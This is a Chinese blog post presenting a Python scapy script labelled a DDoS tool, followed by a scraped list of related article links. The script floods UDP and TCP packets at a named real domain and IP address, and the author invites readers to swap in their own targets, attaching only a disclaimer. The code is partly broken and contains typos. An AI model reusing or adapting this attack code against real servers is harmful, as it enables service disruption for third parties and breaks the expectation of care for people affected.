python写一个DDos脚本(DOS)
前言:突然想写,然后去了解原理

DDOS原理:往指定的IP发送数据包(僵尸网络),导致服务器
拒绝服务,无法正常访问。
0x01:
要用到的模块
scapy模块
pip install scapy
或:
https://github.com/phaethon/scapy
下载setup.py
然后执行python setup.py install
系统环境:kali Linux
windows会报模块缺少还有一个162行的windows.dll的错误
打大站,妹的。恶心的一片的站
0x03
代码分析:
#-*- coding:'utf-8' -*-
import time
import struct
from threading import *
import socket
from scapy.all import *
start=time.time()
screenlock=Semaphore(value=1000)
print '[^]HAQ DDOs start!'
def DDos():
try:
print '[*]Second layers of DDos'
s=srp(IP(dst="www.dgjy.net",ttl=480)/UDP())#第二层攻击
print s[0].show()
except Exception,e:
print '[-]The cause of the mistake {}'.format(e)
try:
print '[*]Third layer DDos'
p = srloop(IP(dst="www.dgjy.net", ttl=160) / UDP())#第三层攻击
print p[0].show()
except Exception,s:
print '[-]The cause of the mistake{}'.format(s)
try:
print '[*]Repeated attacks'
see=srp(IP(dst="113.108.127.169")/TCP(dport=[80,443]))#重复攻击
print see[0].show()
except Exception,f:
print '[-]The cause of the mistake{}'.format(f)
try:
data = struct. pack ('=BHI',0x96,20,1000)
pkt = IP(src='192.168.225.141',dst='113.108.127.169')/UDP(sport= 12345,dport=[80,443])/data
print '[*]DDoS attacks are being carried out!'
screenlock.acquire()
send (pkt,inter= 1 ,count= 160)
except Exception,g:
print "[-]The cause of the mistake{}".format(g)
try:
print '[*]DDos'
gp=sr1(IP(dst="www.dgjy.net",tll=(1,160))/UDP())
except Exception,i:
print '[-]cause of the mistake{}'.format(i)
t = Thread(target=DDos, args=())
t.start()
end=time.time()
print '[!]Time consuming of this program,The first time is the initialization time:',end-start
食用文档:https://phaethon.github.io/scapy/api/usage.html#starting-scapy
github下载地址:https://github.com/422926799/python
自己修改目标
恶意攻击他人服务器出事请自行负责。
python写一个DDos脚本(DOS)的更多相关文章
- 用Python写一个游戏脚本,你会吗?
前言本文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理.作者:ivat4u 学习python有一段时间了,由于python语言的强大 ...
- 用python写一个自动化盲注脚本
前言 当我们进行SQL注入攻击时,当发现无法进行union注入或者报错等注入,那么,就需要考虑盲注了,当我们进行盲注时,需要通过页面的反馈(布尔盲注)或者相应时间(时间盲注),来一个字符一个字符的进行 ...
- 用Python写一个简单的Web框架
一.概述 二.从demo_app开始 三.WSGI中的application 四.区分URL 五.重构 1.正则匹配URL 2.DRY 3.抽象出框架 六.参考 一.概述 在Python中,WSGI( ...
- 十行代码--用python写一个USB病毒 (知乎 DeepWeaver)
昨天在上厕所的时候突发奇想,当你把usb插进去的时候,能不能自动执行usb上的程序.查了一下,发现只有windows上可以,具体的大家也可以搜索(搜索关键词usb autorun)到.但是,如果我想, ...
- [py]python写一个通讯录step by step V3.0
python写一个通讯录step by step V3.0 参考: http://blog.51cto.com/lovelace/1631831 更新功能: 数据库进行数据存入和读取操作 字典配合函数 ...
- 【Python】如何基于Python写一个TCP反向连接后门
首发安全客 如何基于Python写一个TCP反向连接后门 https://www.anquanke.com/post/id/92401 0x0 介绍 在Linux系统做未授权测试,我们须准备一个安全的 ...
- Python写网络后台脚本
Python写网络后台脚本. 首先安装Python3.6.5,在centos中自带的Python是2.6版本的,现在早就出现了3.6版本了况且2和3 之间的差距还是比较大的,所以我选择更新一下Pyth ...
- 用Node+wechaty写一个爬虫脚本每天定时给女(男)朋友发微信暖心话
wechatBot 微信每日说,每日自动发送微信消息给你心爱的人 项目介绍 灵感来源 在掘金看到了一篇<用Node + EJS写一个爬虫脚本每天定时女朋友发一封暖心邮件>后, 在评论区偶然 ...
- Python写一个自动点餐程序
Python写一个自动点餐程序 为什么要写这个 公司现在用meican作为点餐渠道,每天规定的时间是早7:00-9:40点餐,有时候我经常容易忘记,或者是在地铁/公交上没办法点餐,所以总是没饭吃,只有 ...
随机推荐
- ArcGIS API for JavaScript 4.2学习笔记[13] Layer的弹窗(PopupTemplate)
上一篇文章中讲到Popup是一个弹窗,是View对象的默认内置弹窗,并且在View对象构造时就顺便构造了. 那么这个PopupTemplate是什么呢? 后半截单词Template是"模板& ...
- 让 kibana 后台启动的方案
为了解决启动kibana后关闭shell终端kibana自动关闭的问题,记录2种解决方案,试验后均可行. 假设kibana安装的目录为 /usr/local/kibana/ 方案一: 使用nohup ...
- ab返回结果参数分析
Server Software 返回的第一次成功的服务器响应的HTTP头.Server Hostname 命令行中给出的域名或IP地址Server Port 命令行中给出端口.如果没 ...
- Java企业微信开发_11_异常:java.net.UnknownHostException: qyapi.weixin.qq.com
原因: 网络原因导致 dns解析失败. 解决方案: 方案一 : 1.查看你的服务器能否ping通外网,不过不行说明你的网络出了问题. (我的情况是客户的应用服务器只能内网访问,所以是网络出问题 ...
- 搭建非域AlwaysOn win2016+SQL2016
搭建非域AlwaysOn win2016+SQL2016 第一篇http://www.cnblogs.com/lyhabc/p/4678330.html第二篇http://www.cnblogs.co ...
- Android动画(一)-视图动画与帧动画
项目中好久没用过动画了,所以关于动画的知识都忘光了.知识总是不用则忘.正好最近的版本要添加比较炫酷的动画效果,所以也借着这个机会,写博客来整理和总结关于动画的一些知识.也方便自己今后的查阅. Andr ...
- nvm 装 nodejs 重启终端失效的解决方法
(1) 安装 nvm wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.30.1/install.sh | bash (2) ...
- sqlserver资源
1.数据库“高可用性”和“灾难恢复”技术 参考: niyi0318的专栏
- Qt 5中信号和槽的新语法
QT 是一个跨平台的 C++ GUI 应用构架,它提供了丰富的窗口部件集,具有面向对象.易于扩展.真正的组件编程等特点,更为引人注目的是目前 Linux 上最为流行的 KDE 桌面环境就是建立在 QT ...
- 【扩展欧几里得】NOIP2012同余方程
题目描述 求关于 x 的同余方程 ax ≡ 1 (mod b)的最小正整数解. 输入输出格式 输入格式: 输入只有一行,包含两个正整数 a, b,用一个空格隔开. 输出格式: 输出只有一行,包含一个正 ...